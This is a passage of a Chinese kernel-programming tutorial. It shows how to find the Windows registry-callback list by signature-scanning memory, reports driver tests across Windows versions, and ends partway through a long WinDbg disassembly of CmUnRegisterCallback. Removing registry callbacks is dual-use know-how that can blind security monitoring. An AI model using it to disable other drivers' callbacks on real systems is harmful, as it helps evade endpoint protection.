    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结要理解清楚获取 CallbackListHead 表头地址的流程,其中,不同系统的内存特征码是不同的,要注意区分。大家也不用记忆这些特征码,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    删除回调常用就有 3 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    附录Win7 32 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:840b0791 6a38 push 38h840b0793 683082e683 push offset nt! ?? ::FNODOBFM::`string'+0x57a0 (83e68230)840b0798 e8ebe5ddff call nt!_SEH_prolog4 (83e8ed88)840b079d c745d80d0000c0 mov dword ptr [ebp-28h],0C000000Dh840b07a4 33f6 xor esi,esi840b07a6 8975b8 mov dword ptr [ebp-48h],esi840b07a9 33c0 xor eax,eax840b07ab 8d7dbc lea edi,[ebp-44h]840b07ae ab stos dword ptr es:[edi]840b07af ab stos dword ptr es:[edi]840b07b0 c645e201 mov byte ptr [ebp-1Eh],1840b07b4 b101 mov cl,1840b07b6 ff155c01e183 call dword ptr [nt!_imp_KfRaiseIrql (83e1015c)]840b07bc 8ad8 mov bl,al840b07be b80098f783 mov eax,offset nt!CallbackUnregisterLock (83f79800)840b07c3 8bc8 mov ecx,eax840b07c5 f00fba3100 lock btr dword ptr [ecx],0840b07ca 7209 jb nt!CmUnRegisterCallback+0x44 (840b07d5)nt!CmUnRegisterCallback+0x3b:840b07cc 8bf0 mov esi,eax840b07ce e850f0d8ff call nt!KiAcquireFastMutex (83e3f823)840b07d3 33f6 xor esi,esint!CmUnRegisterCallback+0x44:840b07d5 64a124010000 mov eax,dword ptr fs:[00000124h]840b07db a30498f783 mov dword ptr [nt!CallbackUnregisterLock+0x4 (83f79804)],eax840b07e0 0fb6c3 movzx eax,bl840b07e3 a31c98f783 mov dword ptr [nt!CallbackUnregisterLock+0x1c (83f7981c)],eax840b07e8 c745c49cffffff mov dword ptr [ebp-3Ch],0FFFFFF9Ch840b07ef 834dc8ff or dword ptr [ebp-38h],0FFFFFFFFh840b07f3 8975d4 mov dword ptr [ebp-2Ch],esi840b07f6 64a124010000 mov eax,dword ptr fs:[00000124h]840b07fc 66ff8884000000 dec word ptr [eax+84h]840b0803 bbfc97f783 mov ebx,offset nt!CallbackListLock (83f797fc)840b0808 8bc3 mov eax,ebx840b080a f00fba2800 lock bts dword ptr [eax],0840b080f 7307 jae nt!CmUnRegisterCallback+0x87 (840b0818)nt!CmUnRegisterCallback+0x80:840b0811 8bcb mov ecx,ebx840b0813 e8b612dfff call nt!ExfAcquirePushLockExclusive (83ea1ace)nt!CmUnRegisterCallback+0x87:840b0818 c645e301 mov byte ptr [ebp-1Dh],1840b081c 56 push esi840b081d 8d4dd4 lea ecx,[ebp-2Ch]840b0820 bff097f783 mov edi,offset nt!CallbackListHead (83f797f0)840b0825 8bc7 mov eax,edi840b0827 e8221cf3ff call nt!CmListGetNextElement (83fe244e)840b082c 8bd0 mov edx,eax840b082e 8955dc mov dword ptr [ebp-24h],edx840b0831 3bd6 cmp edx,esi840b0833 750a jne nt!CmUnRegisterCallback+0xad (840b083f)nt!CmUnRegisterCallback+0xa4:840b0835 e9c1000000 jmp nt!CmUnRegisterCallback+0x163 (840b08fb)nt!CmUnRegisterCallback+0xaa:840b083c 8b55dc mov edx,dword ptr [ebp-24h]nt!CmUnRegisterCallback+0xad:840b083f 8b4210 mov eax,dword ptr [edx+10h]840b0842 3b4508 cmp eax,dword ptr [ebp+8]840b0845 7508 jne nt!CmUnRegisterCallback+0xbd (840b084f)nt!CmUnRegisterCallback+0xb5:840b0847 8b4214 mov eax,dword ptr [edx+14h]840b084a 3b450c cmp eax,dword ptr [ebp+0Ch]840b084d 741d je nt!CmUnRegisterCallback+0xd4 (840b086c)nt!CmUnRegisterCallback+0xbd:840b084f 56 push esi840b0850 8d4dd4 lea ecx,[ebp-2Ch]840b0853 8bc7 mov eax,edi840b0855 e8f41bf3ff call nt!CmListGetNextElement (83fe244e)840b085a 8945dc mov dword ptr [ebp-24h],eax840b085d 3bc6 cmp eax,esi840b085f 0f8496000000 je nt!CmUnRegisterCallback+0x163 (840b08fb)nt!CmUnRegisterCallback+0xd3:840b0865 ebd5 jmp nt!CmUnRegisterCallback+0xaa (840b083c)nt!CmUnRegisterCallback+0xd4:840b086c 8b02 mov eax,dword ptr [edx]840b086e 8b4a04 mov ecx,dword ptr [edx+4]840b0871 8901 mov dword ptr [ecx],eax840b0873 894804 mov dword ptr [eax+4],ecx840b0876 8b4208 mov eax,dword ptr [edx+8]840b0879 eb79 jmp nt!CmUnRegisterCallback+0x15c (840b08f4)nt!CmUnRegisterCallback+0xe3:840b087b 807de300 cmp byte ptr [ebp-1Dh],0840b087f 7462 je nt!CmUnRegisterCallback+0x14b (840b08e3)nt!CmUnRegisterCallback+0xe9:840b0881 8b0dfc97f783 mov ecx,dword ptr [nt!CallbackListLock (83f797fc)]840b0887 8bc1 mov eax,ecx840b0889 83e0f0 and eax,0FFFFFFF0h840b088c 83f810 cmp eax,10h840b088f 7605 jbe nt!CmUnRegisterCallback+0xfe (840b0896)nt!CmUnRegisterCallback+0xf9:840b0891 8d41f0 lea eax,[ecx-10h]840b0894 eb02 jmp nt!CmUnRegisterCallback+0x100 (840b0898)nt!CmUnRegisterCallback+0xfe:840b0896 33c0 xor eax,eaxnt!CmUnRegisterCallback+0x100:840b0898 f6c102 test cl,2840b089b 750e jne nt!CmUnRegisterCallback+0x113 (840b08ab)nt!CmUnRegisterCallback+0x105:840b089d 8bd0 mov edx,eax840b089f 8bfb mov edi,ebx840b08a1 8bc1 mov eax,ecx840b08a3 f00fb117 lock cmpxchg dword ptr [edi],edx840b08a7 3bc1 cmp eax,ecx840b08a9 7407 je nt!CmUnRegisterCallback+0x11a (840b08b2)nt!CmUnRegisterCallback+0x113:840b08ab 8bcb mov ecx,ebx840b08ad e8de2fe1ff call nt!ExfReleasePushLock (83ec3890)nt!CmUnRegisterCallback+0x11a:840b08b2 648b0d24010000 mov ecx,dword ptr fs:[124h]840b08b9 8d8184000000 lea eax,[ecx+84h]840b08bf 66ff00 inc word ptr [eax]840b08c2 0fb700 movzx eax,word ptr [eax]840b08c5 663bc6 cmp ax,si840b08c8 7515 jne nt!CmUnRegisterCallback+0x147 (840b08df)nt!CmUnRegisterCallback+0x132:840b08ca 8d4140 lea eax,[ecx+40h]840b08cd 3900 cmp dword ptr [eax],eax840b08cf 740e je nt!CmUnRegisterCallback+0x147 (840b08df)nt!CmUnRegisterCallback+0x139:840b08d1 6639b186000000 cmp word ptr [ecx+86h],si840b08d8 7505 jne nt!CmUnRegisterCallback+0x147 (840b08df)nt!CmUnRegisterCallback+0x142:840b08da e8a663d8ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!CmUnRegisterCallback+0x147:840b08df c645e300 mov byte ptr [ebp-1Dh],0nt!CmUnRegisterCallback+0x14b:840b08e3 8d45c4 lea eax,[ebp-3Ch]840b08e6 50 push eax840b08e7 56 push esi840b08e8 56 push esi840b08e9 e831b8ddff call nt!KeDelayExecutionThread (83e8c11f)840b08ee 8b45dc mov eax,dword ptr [ebp-24h]840b08f1 8b4008 mov eax,dword ptr [eax+8]nt!CmUnRegisterCallback+0x15c:840b08f4 85c0 test eax,eax840b08f6 7583 jne nt!CmUnRegisterCallback+0xe3 (840b087b)nt!CmUnRegisterCallback+0x160:840b08f8 8975d8 mov dword ptr [ebp-28h],esint!CmUnRegisterCallback+0x163:840b08fb 89350498f783 mov dword ptr [nt!CallbackUnregisterLock+0x4 (83f79804)],esi840b0901 8a1d1c98f783 mov bl,byte ptr [nt!CallbackUnregisterLock+0x1c (83f7981c)]840b0907 33c9 xor ecx,ecx840b0909 41 inc ecx840b090a ba0098f783 mov edx,offset nt!CallbackUnregisterLock (83f79800)840b090f 8bc2 mov eax,edx840b0911 f00fc108 lock xadd dword ptr [eax],ecx840b0915 85c9 test ecx,ecx840b0917 7423 je nt!CmUnRegisterCallback+0x1a4 (840b093c)nt!CmUnRegisterCallback+0x181:840b0919 f6c102 test cl,2840b091c 751e jne nt!CmUnRegisterCallback+0x1a4 (840b093c)nt!CmUnRegisterCallback+0x186:840b091e 41 inc ecx840b091f 8d41fe lea eax,[ecx-2]840b0922 8bf0 mov esi,eax840b0924 8bc1 mov eax,ecx840b0926 f00fb132 lock cmpxchg dword ptr [edx],esi840b092a 3bc1 cmp eax,ecx840b092c 750e jne nt!CmUnRegisterCallback+0x1a4 (840b093c)nt!CmUnRegisterCallback+0x196:840b092e 6a00 push 0840b0930 6a01 push 1840b0932 680c98f783 push offset nt!CallbackUnregisterLock+0xc (83f7980c)840b0937 e8d959ddff call nt!KeSetEvent (83e86315)nt!CmUnRegisterCallback+0x1a4:840b093c 8acb mov cl,bl840b093e ff155801e183 call dword ptr [nt!_imp_KfLowerIrql (83e10158)]840b0944 807de301 cmp byte ptr [ebp-1Dh],1840b0948 7565 jne nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x1b2:840b094a 8b0dfc97f783 mov ecx,dword ptr [nt!CallbackListLock (83f797fc)]840b0950 8bc1 mov eax,ecx840b0952 83e0f0 and eax,0FFFFFFF0h840b0955 83f810 cmp eax,10h840b0958 7605 jbe nt!CmUnRegisterCallback+0x1c7 (840b095f)nt!CmUnRegisterCallback+0x1c2:840b095a 8d41f0 lea eax,[ecx-10h]840b095d eb02 jmp nt!CmUnRegisterCallback+0x1c9 (840b0961)nt!CmUnRegisterCallback+0x1c7:840b095f 33c0 xor eax,eaxnt!CmUnRegisterCallback+0x1c9:840b0961 f6c102 test cl,2840b0964 7511 jne nt!CmUnRegisterCallback+0x1df (840b0977)nt!CmUnRegisterCallback+0x1ce:840b0966 8bd0 mov edx,eax840b0968 befc97f783 mov esi,offset nt!CallbackListLock (83f797fc)840b096d 8bc1 mov eax,ecx840b096f f00fb116 lock cmpxchg dword ptr [esi],edx840b0973 3bc1 cmp eax,ecx840b0975 740a je nt!CmUnRegisterCallback+0x1e9 (840b0981)nt!CmUnRegisterCallback+0x1df:840b0977 b9fc97f783 mov ecx,offset nt!CallbackListLock (83f797fc)840b097c e80f2fe1ff call nt!ExfReleasePushLock (83ec3890)nt!CmUnRegisterCallback+0x1e9:840b0981 648b0d24010000 mov ecx,dword ptr fs:[124h]840b0988 8d8184000000 lea eax,[ecx+84h]840b098e 66ff00 inc word ptr [eax]840b0991 0fb700 movzx eax,word ptr [eax]840b0994 6685c0 test ax,ax840b0997 7516 jne nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x201:840b0999 8d4140 lea eax,[ecx+40h]840b099c 3900 cmp dword ptr [eax],eax840b099e 740f je nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x208:840b09a0 6683b98600000000 cmp word ptr [ecx+86h],0840b09a8 7505 jne nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x212:840b09aa e8d662d8ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!CmUnRegisterCallback+0x217:840b09af 8b45d8 mov eax,dword ptr [ebp-28h]840b09b2 85c0 test eax,eax840b09b4 0f8c8a010000 jl nt!CmUnRegisterCallback+0x3ac (840b0b44)nt!CmUnRegisterCallback+0x222:840b09ba 8d45cc lea eax,[ebp-34h]840b09bd 8945d0 mov dword ptr [ebp-30h],eax840b09c0 8945cc mov dword ptr [ebp-34h],eax840b09c3 64a124010000 mov eax,dword ptr fs:[00000124h]840b09c9 66ff8884000000 dec word ptr [eax+84h]840b09d0 bbf897f783 mov ebx,offset nt!ContextListLock (83f797f8)840b09d5 8bc3 mov eax,ebx840b09d7 f00fba2800 lock bts dword ptr [eax],0840b09dc 7307 jae nt!CmUnRegisterCallback+0x24d (840b09e5)nt!CmUnRegisterCallback+0x246:840b09de 8bcb mov ecx,ebx840b09e0 e8e910dfff call nt!ExfAcquirePushLockExclusive (83ea1ace)nt!CmUnRegisterCallback+0x24d:840b09e5 8b7ddc mov edi,dword ptr [ebp-24h]840b09e8 83c728 add edi,28h840b09eb 8b37 mov esi,dword ptr [edi]840b09ed 3bf7 cmp esi,edi840b09ef 7444 je nt!CmUnRegisterCallback+0x29d (840b0a35)nt!CmUnRegisterCallback+0x259:840b09f1 8b1e mov ebx,dword ptr [esi]840b09f3 8b5614 mov edx,dword ptr [esi+14h]840b09f6 e83839dfff call nt!ObReferenceObjectSafe (83ea4333)840b09fb 84c0 test al,al840b09fd 7427 je nt!CmUnRegisterCallback+0x28e (840b0a26)nt!CmUnRegisterCallback+0x267:840b09ff 8b06 mov eax,dword ptr [esi]840b0a01 8b4e04 mov ecx,dword ptr [esi+4]840b0a04 8901 mov dword ptr [ecx],eax840b0a06 894804 mov dword ptr [eax+4],ecx840b0a09 8b46f8 mov eax,dword ptr [esi-8]840b0a0c 8b4efc mov ecx,dword ptr [esi-4]840b0a0f 8901 mov dword ptr [ecx],eax840b0a11 894804 mov dword ptr [eax+4],ecx840b0a14 8b45d0 mov eax,dword ptr [ebp-30h]840b0a17 8d4dcc lea ecx,[ebp-34h]840b0a1a 890e mov dword ptr [esi],ecx840b0a1c 894604 mov dword ptr [esi+4],eax840b0a1f 8930 mov dword ptr [eax],esi840b0a21 8975d0 mov dword ptr [ebp-30h],esi840b0a24 eb04 jmp nt!CmUnRegisterCallback+0x292 (840b0a2a)nt!CmUnRegisterCallback+0x28e:840b0a26 c645e200 mov byte ptr [ebp-1Eh],0nt!CmUnRegisterCallback+0x292:840b0a2a 8bf3 mov esi,ebx840b0a2c 3bdf cmp ebx,edi840b0a2e 75c1 jne nt!CmUnRegisterCallback+0x259 (840b09f1)nt!CmUnRegisterCallback+0x298:840b0a30 bbf897f783 mov ebx,offset nt!ContextListLock (83f797f8)nt!CmUnRegisterCallback+0x29d:840b0a35 8b0df897f783 mov ecx,dword ptr [nt!ContextListLock (83f797f8)]840b0a3b 8bc1 mov eax,ecx840b0a3d 83e0f0 and eax,0FFFFFFF0h840b0a40 83f810 cmp eax,10h840b0a43 7605 jbe nt!CmUnRegisterCallback+0x2b2 (840b0a4a)nt!CmUnRegisterCallback+0x2ad:840b0a45 8d41f0 lea eax,[ecx-10h]840b0a48 eb02 jmp nt!CmUnRegisterCallback+0x2b4 (840b0a4c)nt!CmUnRegisterCallback+0x2b2:840b0a4a 33c0 xor eax,eaxnt!CmUnRegisterCallback+0x2b4:840b0a4c f6c102 test cl,2840b0a4f 750e jne nt!CmUnRegisterCallback+0x2c7 (840b0a5f)nt!CmUnRegisterCallback+0x2b9:840b0a51 8bd0 mov edx,eax840b0a53 8bf3 mov esi,ebx840b0a55 8bc1 mov eax,ecx840b0a57 f00fb116 lock cmpxchg dword ptr [esi],edx840b0a5b 3bc1 cmp eax,ecx840b0a5d 7407 je nt!CmUnRegisterCallback+0x2ce (840b0a66)nt!CmUnRegisterCallback+0x2c7:840b0a5f 8bcb mov ecx,ebx840b0a61 e82a2ee1ff call nt!ExfReleasePushLock (83ec3890)nt!CmUnRegisterCallback+0x2ce:840b0a66 648b0d24010000 mov ecx,dword ptr fs:[124h]840b0a6d 8d8184000000 lea eax,[ecx+84h]840b0a73 66ff00 inc word ptr [eax]840b0a76 0fb700 movzx eax,word ptr [eax]840b0a79 6685c0 test ax,ax840b0a7c 7516 jne nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x2e6:840b0a7e 8d4140 lea eax,[ecx+40h]840b0a81 3900 cmp dword ptr [eax],eax840b0a83 740f je nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x2ed:840b0a85 6683b98600000000 cmp word ptr [ecx+86h],0840b0a8d 7505 jne nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x2f7:840b0a8f e8f161d8ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!CmUnRegisterCallback+0x2fc:840b0a94 8d4dcc lea ecx,[ebp-34h]840b0a97 8b45cc mov eax,dword ptr [ebp-34h]840b0a9a 3bc1 cmp eax,ecx840b0a9c 7461 je nt!CmUnRegisterCallback+0x367 (840b0aff)nt!CmUnRegisterCallback+0x306:840b0a9e 8bc8 mov ecx,eax840b0aa0 8b00 mov eax,dword ptr [eax]840b0aa2 8945cc mov dword ptr [ebp-34h],eax840b0aa5 8d55cc lea edx,[ebp-34h]840b0aa8 895004 mov dword ptr [eax+4],edx840b0aab 8d71f8 lea esi,[ecx-8]840b0aae 8975d4 mov dword ptr [ebp-2Ch],esi840b0ab1 8b461c mov eax,dword ptr [esi+1Ch]840b0ab4 8945b8 mov dword ptr [ebp-48h],eax840b0ab7 8b4620 mov eax,dword ptr [esi+20h]840b0aba 8945bc mov dword ptr [ebp-44h],eax840b0abd 8365fc00 and dword ptr [ebp-4],0840b0ac1 8d45b8 lea eax,[ebp-48h]840b0ac4 50 push eax840b0ac5 6a28 push 28h840b0ac7 8b45dc mov eax,dword ptr [ebp-24h]840b0aca ff7018 push dword ptr [eax+18h]840b0acd ff501c call dword ptr [eax+1Ch]840b0ad0 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh840b0ad7 eb11 jmp nt!CmUnRegisterCallback+0x352 (840b0aea)nt!CmUnRegisterCallback+0x352:840b0aea 8b4e1c mov ecx,dword ptr [esi+1Ch]840b0aed e8d171ddff call nt!ObfDereferenceObject (83e87cc3)840b0af2 68434d6363 push 63634D43h840b0af7 56 push esi840b0af8 e8bd0fe8ff call nt!ExFreePoolWithTag (83f31aba)840b0afd eb95 jmp nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x367:840b0aff 8b7ddc mov edi,dword ptr [ebp-24h]840b0b02 807de200 cmp byte ptr [ebp-1Eh],0840b0b06 7516 jne nt!CmUnRegisterCallback+0x386 (840b0b1e)nt!CmUnRegisterCallback+0x370:840b0b08 8d7728 lea esi,[edi+28h]840b0b0b eb0d jmp nt!CmUnRegisterCallback+0x382 (840b0b1a)nt!CmUnRegisterCallback+0x375:840b0b0d 8d45c4 lea eax,[ebp-3Ch]840b0b10 50 push eax840b0b11 6a00 push 0840b0b13 6a00 push 0840b0b15 e805b6ddff call nt!KeDelayExecutionThread (83e8c11f)nt!CmUnRegisterCallback+0x382:840b0b1a 3936 cmp dword ptr [esi],esi840b0b1c 75ef jne nt!CmUnRegisterCallback+0x375 (840b0b0d)nt!CmUnRegisterCallback+0x386:840b0b1e b8b08bf483 mov eax,offset nt!CmpCallBackCount (83f48bb0)840b0b23 83c9ff or ecx,0FFFFFFFFh840b0b26 f00fc108 lock xadd dword ptr [eax],ecx840b0b2a 8b4724 mov eax,dword ptr [edi+24h]840b0b2d 85c0 test eax,eax840b0b2f 7408 je nt!CmUnRegisterCallback+0x3a1 (840b0b39)nt!CmUnRegisterCallback+0x399:840b0b31 6a00 push 0840b0b33 50 push eax840b0b34 e8810fe8ff call nt!ExFreePoolWithTag (83f31aba)nt!CmUnRegisterCallback+0x3a1:840b0b39 6a00 push 0840b0b3b 57 push edi840b0b3c e8790fe8ff call nt!ExFreePoolWithTag (83f31aba)840b0b41 8b45d8 mov eax,dword ptr [ebp-28h]nt!CmUnRegisterCallback+0x3ac:840b0b44 e884e2ddff call nt!_SEH_epilog4 (83e8edcd)840b0b49 c20800 ret 8
    Win7 64 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:fffff800`042b7790 48894c2408 mov qword ptr [rsp+8],rcxfffff800`042b7795 53 push rbxfffff800`042b7796 56 push rsifffff800`042b7797 57 push rdifffff800`042b7798 4154 push r12fffff800`042b779a 4155 push r13fffff800`042b779c 4156 push r14fffff800`042b779e 4157 push r15fffff800`042b77a0 4883ec60 sub rsp,60hfffff800`042b77a4 41bc0d0000c0 mov r12d,0C000000Dhfffff800`042b77aa 4489a424b0000000 mov dword ptr [rsp+0B0h],r12dfffff800`042b77b2 33db xor ebx,ebxfffff800`042b77b4 48895c2448 mov qword ptr [rsp+48h],rbxfffff800`042b77b9 33c0 xor eax,eaxfffff800`042b77bb 4889442450 mov qword ptr [rsp+50h],raxfffff800`042b77c0 4889442458 mov qword ptr [rsp+58h],raxfffff800`042b77c5 448d6b01 lea r13d,[rbx+1]fffff800`042b77c9 458afd mov r15b,r13bfffff800`042b77cc 4488ac24a8000000 mov byte ptr [rsp+0A8h],r13bfffff800`042b77d4 440f20c7 mov rdi,cr8fffff800`042b77d8 450f22c5 mov cr8,r13fffff800`042b77dc f00fba351b6adcff00 lock btr dword ptr [nt!CallbackUnregisterLock (fffff800`0407e200)],0fffff800`042b77e5 720c jb nt!CmUnRegisterCallback+0x63 (fffff800`042b77f3)nt!CmUnRegisterCallback+0x57:fffff800`042b77e7 488d0d126adcff lea rcx,[nt!CallbackUnregisterLock (fffff800`0407e200)]fffff800`042b77ee e85db7b9ff call nt!KiAcquireFastMutex (fffff800`03e52f50)nt!CmUnRegisterCallback+0x63:fffff800`042b77f3 65488b042588010000 mov rax,qword ptr gs:[188h]fffff800`042b77fc 488905056adcff mov qword ptr [nt!CallbackUnregisterLock+0x8 (fffff800`0407e208)],raxfffff800`042b7803 400fb6c7 movzx eax,dilfffff800`042b7807 8905236adcff mov dword ptr [nt!CallbackUnregisterLock+0x30 (fffff800`0407e230)],eaxfffff800`042b780d 48c78424b80000009cffffff mov qword ptr [rsp+0B8h],0FFFFFFFFFFFFFF9Chfffff800`042b7819 48895c2420 mov qword ptr [rsp+20h],rbxfffff800`042b781e 65488b042588010000 mov rax,qword ptr gs:[188h]fffff800`042b7827 4183ceff or r14d,0FFFFFFFFhfffff800`042b782b 664401b0c4010000 add word ptr [rax+1C4h],r14wfffff800`042b7833 f0480fba2dab69dcff00 lock bts qword ptr [nt!CallbackListLock (fffff800`0407e1e8)],0fffff800`042b783d 730c jae nt!CmUnRegisterCallback+0xbb (fffff800`042b784b)nt!CmUnRegisterCallback+0xaf:fffff800`042b783f 488d0da269dcff lea rcx,[nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b7846 e875aabbff call nt!ExfAcquirePushLockExclusive (fffff800`03e722c0)nt!CmUnRegisterCallback+0xbb:fffff800`042b784b 418af5 mov sil,r13bfffff800`042b784e 4c8b9424a0000000 mov r10,qword ptr [rsp+0A0h]nt!CmUnRegisterCallback+0xc6:fffff800`042b7856 4533c0 xor r8d,r8dfffff800`042b7859 488d542420 lea rdx,[rsp+20h]fffff800`042b785e 488d0d6b69dcff lea rcx,[nt!CallbackListHead (fffff800`0407e1d0)]fffff800`042b7865 e8a261e5ff call nt!CmListGetNextElement (fffff800`0410da0c)fffff800`042b786a 488bf8 mov rdi,raxfffff800`042b786d 4889442428 mov qword ptr [rsp+28h],raxfffff800`042b7872 483bc3 cmp rax,rbxfffff800`042b7875 0f84b8000000 je nt!CmUnRegisterCallback+0x1a3 (fffff800`042b7933)nt!CmUnRegisterCallback+0xeb:fffff800`042b787b 4c395018 cmp qword ptr [rax+18h],r10fffff800`042b787f 75d5 jne nt!CmUnRegisterCallback+0xc6 (fffff800`042b7856)nt!CmUnRegisterCallback+0xf1:fffff800`042b7881 488b08 mov rcx,qword ptr [rax]fffff800`042b7884 488b4008 mov rax,qword ptr [rax+8]fffff800`042b7888 488908 mov qword ptr [rax],rcxfffff800`042b788b 48894108 mov qword ptr [rcx+8],raxfffff800`042b788f 8b4710 mov eax,dword ptr [rdi+10h]fffff800`042b7892 3bc3 cmp eax,ebxfffff800`042b7894 0f848f000000 je nt!CmUnRegisterCallback+0x199 (fffff800`042b7929)nt!CmUnRegisterCallback+0x10a:fffff800`042b789a 403af3 cmp sil,blfffff800`042b789d 746c je nt!CmUnRegisterCallback+0x17b (fffff800`042b790b)nt!CmUnRegisterCallback+0x10f:fffff800`042b789f 0f0d0d4269dcff prefetchw [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b78a6 488b053b69dcff mov rax,qword ptr [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b78ad 488bc8 mov rcx,raxfffff800`042b78b0 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0hfffff800`042b78b4 4883f910 cmp rcx,10hfffff800`042b78b8 7606 jbe nt!CmUnRegisterCallback+0x130 (fffff800`042b78c0)nt!CmUnRegisterCallback+0x12a:fffff800`042b78ba 488d48f0 lea rcx,[rax-10h]fffff800`042b78be eb03 jmp nt!CmUnRegisterCallback+0x133 (fffff800`042b78c3)nt!CmUnRegisterCallback+0x130:fffff800`042b78c0 488bcb mov rcx,rbxnt!CmUnRegisterCallback+0x133:fffff800`042b78c3 a802 test al,2fffff800`042b78c5 750b jne nt!CmUnRegisterCallback+0x142 (fffff800`042b78d2)nt!CmUnRegisterCallback+0x137:fffff800`042b78c7 f0480fb10d1869dcff lock cmpxchg qword ptr [nt!CallbackListLock (fffff800`0407e1e8)],rcxfffff800`042b78d0 740c je nt!CmUnRegisterCallback+0x14e (fffff800`042b78de)nt!CmUnRegisterCallback+0x142:fffff800`042b78d2 488d0d0f69dcff lea rcx,[nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b78d9 e89283b8ff call nt!ExfReleasePushLock (fffff800`03e3fc70)nt!CmUnRegisterCallback+0x14e:fffff800`042b78de 65488b0c2588010000 mov rcx,qword ptr gs:[188h]fffff800`042b78e7 664401a9c4010000 add word ptr [rcx+1C4h],r13wfffff800`042b78ef 7517 jne nt!CmUnRegisterCallback+0x178 (fffff800`042b7908)nt!CmUnRegisterCallback+0x161:fffff800`042b78f1 488d4150 lea rax,[rcx+50h]fffff800`042b78f5 483900 cmp qword ptr [rax],raxfffff800`042b78f8 740e je nt!CmUnRegisterCallback+0x178 (fffff800`042b7908)nt!CmUnRegisterCallback+0x16a:fffff800`042b78fa 663999c6010000 cmp word ptr [rcx+1C6h],bxfffff800`042b7901 7505 jne nt!CmUnRegisterCallback+0x178 (fffff800`042b7908)nt!CmUnRegisterCallback+0x173:fffff800`042b7903 e8a85eb7ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!CmUnRegisterCallback+0x178:fffff800`042b7908 408af3 mov sil,blnt!CmUnRegisterCallback+0x17b:fffff800`042b790b 4c8d8424b8000000 lea r8,[rsp+0B8h]fffff800`042b7913 33d2 xor edx,edxfffff800`042b7915 33c9 xor ecx,ecxfffff800`042b7917 e800f7bcff call nt!KeDelayExecutionThread (fffff800`03e8701c)fffff800`042b791c 448b5f10 mov r11d,dword ptr [rdi+10h]fffff800`042b7920 443bdb cmp r11d,ebxfffff800`042b7923 0f8571ffffff jne nt!CmUnRegisterCallback+0x10a (fffff800`042b789a)nt!CmUnRegisterCallback+0x199:fffff800`042b7929 448be3 mov r12d,ebxfffff800`042b792c 899c24b0000000 mov dword ptr [rsp+0B0h],ebxnt!CmUnRegisterCallback+0x1a3:fffff800`042b7933 48891dce68dcff mov qword ptr [nt!CallbackUnregisterLock+0x8 (fffff800`0407e208)],rbxfffff800`042b793a 448a2def68dcff mov r13b,byte ptr [nt!CallbackUnregisterLock+0x30 (fffff800`0407e230)]fffff800`042b7941 ba01000000 mov edx,1fffff800`042b7946 8bc2 mov eax,edxfffff800`042b7948 f00fc105b068dcff lock xadd dword ptr [nt!CallbackUnregisterLock (fffff800`0407e200)],eaxfffff800`042b7950 3bc3 cmp eax,ebxfffff800`042b7952 7427 je nt!CmUnRegisterCallback+0x1eb (fffff800`042b797b)nt!CmUnRegisterCallback+0x1c4:fffff800`042b7954 a802 test al,2fffff800`042b7956 7523 jne nt!CmUnRegisterCallback+0x1eb (fffff800`042b797b)nt!CmUnRegisterCallback+0x1c8:fffff800`042b7958 03c2 add eax,edxfffff800`042b795a 8d48fe lea ecx,[rax-2]fffff800`042b795d f00fb10d9b68dcff lock cmpxchg dword ptr [nt!CallbackUnregisterLock (fffff800`0407e200)],ecxfffff800`042b7965 7514 jne nt!CmUnRegisterCallback+0x1eb (fffff800`042b797b)nt!CmUnRegisterCallback+0x1d7:fffff800`042b7967 4533c0 xor r8d,r8dfffff800`042b796a 488d0da768dcff lea rcx,[nt!CallbackUnregisterLock+0x18 (fffff800`0407e218)]fffff800`042b7971 e88accbcff call nt!KeSetEvent (fffff800`03e84600)fffff800`042b7976 ba01000000 mov edx,1nt!CmUnRegisterCallback+0x1eb:fffff800`042b797b 410fb6c5 movzx eax,r13bfffff800`042b797f 440f22c0 mov cr8,raxfffff800`042b7983 403af2 cmp sil,dlfffff800`042b7986 756d jne nt!CmUnRegisterCallback+0x265 (fffff800`042b79f5)nt!CmUnRegisterCallback+0x1f8:fffff800`042b7988 0f0d0d5968dcff prefetchw [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b798f 488b055268dcff mov rax,qword ptr [nt!CallbackListLock (fffff800`0407e1e8)]fffff800`042b7996 